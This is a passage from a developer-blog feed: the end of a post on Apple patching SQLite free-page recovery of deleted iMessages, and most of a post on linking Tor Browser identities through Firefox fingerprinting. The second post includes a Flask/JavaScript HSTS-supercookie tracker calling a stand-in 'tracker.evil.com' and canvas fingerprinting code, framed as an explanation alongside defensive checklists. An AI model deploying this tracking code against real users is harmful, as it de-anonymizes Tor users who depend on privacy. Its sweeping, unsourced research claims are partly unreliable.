&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;attributes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;FileAttributeKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;protectionKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;FileProtectionType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;completeUnlessOpen&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="kt"&gt;FileManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attributes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;ofItemAtPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;dbPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The four protection classes from weakest to strongest:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.none&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.completeUntilFirstUserAuthentication&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.completeUnlessOpen&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.complete&lt;/code&gt; ← Use this for anything sensitive&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Consider Using Encrypted Database Libraries
&lt;/h3&gt;

&lt;p&gt;For truly sensitive data, consider SQLCipher for iOS — an open-source extension that provides transparent 256-bit AES encryption of SQLite database files, including free pages and WAL files.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="c1"&gt;// With SQLCipher, your entire database is encrypted at rest&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="kt"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"sensitive.db"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"your-secure-key-here"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;// All pages, including free ones, are now encrypted&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Don't Rely Solely on OS-Level Fixes
&lt;/h3&gt;

&lt;p&gt;Apple's patch protects the Messages app. It does &lt;strong&gt;not&lt;/strong&gt; automatically protect your third-party app's SQLite databases. Defense in depth is the only reliable strategy.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Broader Privacy Conversation
&lt;/h2&gt;

&lt;p&gt;This bug and Apple's decision to fix it sits at the intersection of two ongoing battles: user privacy versus law enforcement access, and platform security versus third-party forensic tooling.&lt;/p&gt;

&lt;p&gt;Apple has faced public and legal pressure from governments worldwide to maintain backdoors or weaker encryption. The company has consistently refused. This patch is another move in that direction — one that will frustrate some law enforcement agencies but strengthens the privacy guarantees that millions of users depend on.&lt;/p&gt;

&lt;p&gt;For developers, this is also a signal. As platforms harden, the expectation for app-level security rises in parallel. Users are increasingly privacy-aware, and privacy-focused development tools and auditing services are becoming standard practice rather than a niche concern.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Apple fixes a long-standing SQLite free-page vulnerability that cops used to recover deleted iMessages from iPhones&lt;/li&gt;
&lt;li&gt;The underlying issue is a fundamental behavior of SQLite's WAL mode, not an exotic exploit&lt;/li&gt;
&lt;li&gt;Law enforcement used commercial forensic tools to extract these artifacts from disk images and backups&lt;/li&gt;
&lt;li&gt;Apple's patch includes forced VACUUM, encrypted free pages, tighter backup scoping, and better Secure Enclave key rotation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;As a developer, you cannot rely on Apple's fix to protect your own app's data&lt;/strong&gt; — implement secure deletion, proper data protection classes, and consider encrypted database libraries&lt;/li&gt;
&lt;li&gt;Understanding the internals of how your data layer handles deletions is now a security requirement, not just a performance consideration&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Update Your Threat Model
&lt;/h2&gt;

&lt;p&gt;If you're building an app that stores anything a user might want permanently deleted — messages, notes, health logs, financial data — run through this checklist today:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Are you calling &lt;code&gt;VACUUM&lt;/code&gt; after sensitive deletions?&lt;/li&gt;
&lt;li&gt;[ ] Are your database files using &lt;code&gt;.complete&lt;/code&gt; data protection?&lt;/li&gt;
&lt;li&gt;[ ] Are WAL files excluded from app backups if they contain sensitive data?&lt;/li&gt;
&lt;li&gt;[ ] Have you considered an encrypted SQLite library for your most sensitive stores?&lt;/li&gt;
&lt;li&gt;[ ] Do you have a documented data retention and deletion policy surfaced to users?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Privacy isn't a feature you add at launch. It's an architecture decision you make on day one.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Found this breakdown useful? Follow me here on DEV for more deep dives into iOS internals, mobile security, and developer privacy engineering. Drop your questions or war stories in the comments — especially if you've dealt with secure deletion edge cases in production.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ios</category>
      <category>privacy</category>
      <category>apple</category>
    </item>
    <item>
      <title>We Found a Stable Firefox Identifier That Links All Your Private Tor Identities</title>
      <dc:creator>佐藤玲</dc:creator>
      <pubDate>Thu, 23 Apr 2026 16:03:41 +0000</pubDate>
      <link>https://dev.to/_d916d77be80d376e49d8e/we-found-a-stable-firefox-identifier-that-links-all-your-private-tor-identities-d2e</link>
      <guid>https://dev.to/_d916d77be80d376e49d8e/we-found-a-stable-firefox-identifier-that-links-all-your-private-tor-identities-d2e</guid>
      <description>&lt;h1&gt;
  
  
  We Found a Stable Firefox Identifier That Links All Your Private Tor Identities
&lt;/h1&gt;

&lt;p&gt;You open Tor Browser. You create a new identity. You browse, close the session, open another. You assume each identity is isolated, anonymous, untraceable.&lt;/p&gt;

&lt;p&gt;You're wrong — and researchers have the proof.&lt;/p&gt;

&lt;p&gt;A newly identified fingerprinting vector found inside Firefox's underlying engine — the same engine that powers Tor Browser — creates a &lt;strong&gt;stable identifier&lt;/strong&gt; capable of linking your separate Tor identities together. Across sessions. Across "New Identity" resets. Across what you believed were clean slates.&lt;/p&gt;

&lt;p&gt;This isn't a theoretical attack. It's a practical, measurable, reproducible exploit that undermines one of the most fundamental promises of anonymous browsing.&lt;/p&gt;

&lt;p&gt;Let's break down exactly what was found, how it works, and what developers and privacy-conscious users need to know.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Was Discovered
&lt;/h2&gt;

&lt;p&gt;Researchers identified that Firefox exposes a &lt;strong&gt;stable, cross-session identifier&lt;/strong&gt; through a combination of browser internals that persist beyond what Tor Browser's identity isolation is designed to clear.&lt;/p&gt;

&lt;p&gt;The specific culprit: &lt;strong&gt;the &lt;code&gt;media.peerconnection&lt;/code&gt; subsystem and related GPU/font rendering caches&lt;/strong&gt;, combined with how Firefox handles &lt;strong&gt;IndexedDB partition keys&lt;/strong&gt; and &lt;strong&gt;HSTS (HTTP Strict Transport Security) state&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In plain language: certain low-level browser behaviors leave fingerprints that don't get wiped when you click "New Identity" in Tor Browser. These fingerprints are consistent enough — stable enough — to act as a unique identifier linking your browsing sessions.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Key Attack Surfaces
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HSTS supercookies&lt;/strong&gt;: Servers can set HSTS headers that encode bits of information. Firefox stores this state in a way that can survive identity resets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Font rendering metrics&lt;/strong&gt;: The way Firefox renders fonts varies subtly by system and GPU, creating a consistent canvas/timing fingerprint.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IndexedDB and Cache API partitioning&lt;/strong&gt;: Under certain conditions, partition boundaries can be bypassed or inferred, leaking cross-context data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WebGL renderer strings&lt;/strong&gt;: Even through Tor's protections, low-level GPU identifiers can bleed through in specific browser configurations.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  How the Identifier Works: A Technical Deep Dive
&lt;/h2&gt;

&lt;p&gt;Let's get into the code. Here's a simplified demonstration of how HSTS state can be abused as a tracking mechanism — a technique sometimes called an &lt;strong&gt;HSTS supercookie&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Server-Side: Encoding a Fingerprint Bit
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Flask server demonstrating HSTS bit-encoding
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Attacker controls subdomains: 0.tracker.evil.com, 1.tracker.evil.com
# Each subdomain either sets or doesn't set HSTS
&lt;/span&gt;
&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/set-bit/&amp;lt;int:bit_value&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;set_bit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bit_value&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;bit_value&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# Set HSTS header — browser will remember this subdomain as HTTPS-only
&lt;/span&gt;        &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;max-age=31536000&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/read-bits&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;read_bits&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# Client-side JS probes each subdomain
&lt;/span&gt;    &lt;span class="c1"&gt;# Timing difference reveals whether HSTS was previously set
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'''&lt;/span&gt;&lt;span class="s"&gt;
        &amp;lt;script&amp;gt;
        async function probeBit(subdomain) {
            const start = performance.now();
            try {
                // Attempt to load a resource from the subdomain
                await fetch(`https://${subdomain}.tracker.evil.com/probe`, 
                    { mode: &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;no-cors&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, cache: &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;no-store&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; });
            } catch(e) {}
            const elapsed = performance.now() - start;
            // HSTS redirect is faster than a cold connection
            return elapsed &amp;lt; 50 ? 1 : 0;
        }

        async function reconstructID() {
            const bits = [];
            for (let i = 0; i &amp;lt; 8; i++) {
                bits.push(await probeBit(`bit${i}`));
            }
            console.log(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Reconstructed ID bits:&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, bits.join(&lt;/span&gt;&lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="s"&gt;));
            // Send bits back to server to identify the user across sessions
        }
        reconstructID();
        &amp;lt;/script&amp;gt;
    &lt;/span&gt;&lt;span class="sh"&gt;'''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Why This Survives "New Identity"
&lt;/h3&gt;

&lt;p&gt;When Tor Browser resets your identity, it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Clears cookies&lt;/li&gt;
&lt;li&gt;Clears session storage&lt;/li&gt;
&lt;li&gt;Rotates your Tor circuit (new exit node, new IP)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What it &lt;strong&gt;does not always reliably clear&lt;/strong&gt; in older or misconfigured builds:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HSTS cache entries (stored at the browser profile level, not session level)&lt;/li&gt;
&lt;li&gt;Certain GPU-accelerated rendering caches&lt;/li&gt;
&lt;li&gt;Timing side-channels derived from hardware behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's how you can inspect what Firefox is storing in your HSTS database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Firefox stores HSTS data in a JSON file in your profile&lt;/span&gt;
&lt;span class="c"&gt;# On Linux:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.mozilla/firefox/&lt;span class="k"&gt;*&lt;/span&gt;.default&lt;span class="k"&gt;*&lt;/span&gt;/SiteSecurityServiceState.txt | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-50&lt;/span&gt;

&lt;span class="c"&gt;# On macOS:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/Library/Application&lt;span class="se"&gt;\ &lt;/span&gt;Support/Firefox/Profiles/&lt;span class="k"&gt;*&lt;/span&gt;.default&lt;span class="k"&gt;*&lt;/span&gt;/SiteSecurityServiceState.txt | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-50&lt;/span&gt;

&lt;span class="c"&gt;# Look for entries with 'includeSubdomains' flags — these are prime supercookie vectors&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Canvas Fingerprinting Still Works on Tor — Sometimes
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Canvas fingerprint extraction&lt;/span&gt;
&lt;span class="c1"&gt;// Tor Browser attempts to randomize this — but the randomization itself can be fingerprinted&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getCanvasFingerprint&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canvas&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textBaseline&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;top&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;14px Arial&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fillStyle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#f60&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillRect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;125&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fillStyle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#069&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Cwm fjordbank glyphs vext quiz 🔥&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fillStyle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;rgba(102, 204, 0, 0.7)&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Cwm fjordbank glyphs vext quiz 🔥&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toDataURL&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// In Tor Browser, this returns a slightly noisy result each time&lt;/span&gt;
&lt;span class="c1"&gt;// But the NOISE PATTERN ITSELF is hardware-dependent and stable&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getCanvasFingerprint&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Tor Project has implemented canvas noise injection — but research shows that &lt;strong&gt;the variance pattern of the noise&lt;/strong&gt; is itself a fingerprint. Your GPU introduces noise in a statistically unique way.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters for Developers
&lt;/h2&gt;

&lt;p&gt;If you're building:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Privacy tools or browsers&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Whistleblower platforms&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Secure communication apps&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Any application where user anonymity is a feature&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;...then you need to understand that "using Tor" is not a complete privacy solution. The &lt;strong&gt;browser layer&lt;/strong&gt; introduces identifiers that the &lt;strong&gt;network layer&lt;/strong&gt; cannot hide.&lt;/p&gt;

&lt;p&gt;This is especially critical for developers who recommend privacy tools to end users, or who build applications that promise anonymity.&lt;/p&gt;

&lt;h3&gt;
  
  
  Threat Model Checklist for Developers
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;## Anonymity Threat Model Checklist&lt;/span&gt;

&lt;span class="gu"&gt;### Network Layer&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Traffic routed through Tor or equivalent
&lt;span class="p"&gt;-&lt;/span&gt; [ ] No WebRTC IP leaks (disable media.peerconnection.enabled)
&lt;span class="p"&gt;-&lt;/span&gt; [ ] DNS queries routed through anonymizing network

&lt;span class="gu"&gt;### Browser Layer  &lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; [ ] JavaScript disabled (highest protection level in Tor Browser)
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Canvas API access blocked or fully randomized
&lt;span class="p"&gt;-&lt;/span&gt; [ ] WebGL disabled
&lt;span class="p"&gt;-&lt;/span&gt; [ ] HSTS cache cleared between sessions (not just cookies)
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Font enumeration blocked
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Hardware concurrency/memory reporting spoofed

&lt;span class="gu"&gt;### Application Layer&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; [ ] No user-specific tokens or session IDs in URLs
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Server does not log timing data linkable to behavior
&lt;span class="p"&gt;-&lt;/span&gt; [ ] No third-party resources loaded (CDNs, analytics, fonts)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Firefox-Specific Problem
&lt;/h2&gt;

&lt;p&gt;This attack vector is particularly significant because Tor Browser &lt;strong&gt;is built on Firefox&lt;/strong&gt;. Every Firefox vulnerability is potentially a Tor Browser vulnerability — with a delay.&lt;/p&gt;

&lt;p&gt;Chromium-based browsers have different (not fewer) fingerprinting surfaces. But because Tor Browser doesn't use Chromium, the Firefox codebase is uniquely important to audit.&lt;/p&gt;

&lt;p&gt;The specific Firefox preferences that reduce (not eliminate) these risks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// about:config settings that matter&lt;/span&gt;
&lt;span class="c1"&gt;// (These are already set in Tor Browser's hardened profile,&lt;/span&gt;
&lt;span class="c1"&gt;// but may not be set in standard Firefox)&lt;/span&gt;

&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;privacy.resistFingerprinting&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// Master fingerprint resistance&lt;/span&gt;
&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;media.peerconnection.enabled&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Disable WebRTC&lt;/span&gt;
&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;webgl.disabled&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                &lt;span class="c1"&gt;// Disable WebGL&lt;/span&gt;
&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dom.webaudio.enabled&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;         &lt;span class="c1"&gt;// Disable AudioContext fingerprinting&lt;/span&gt;
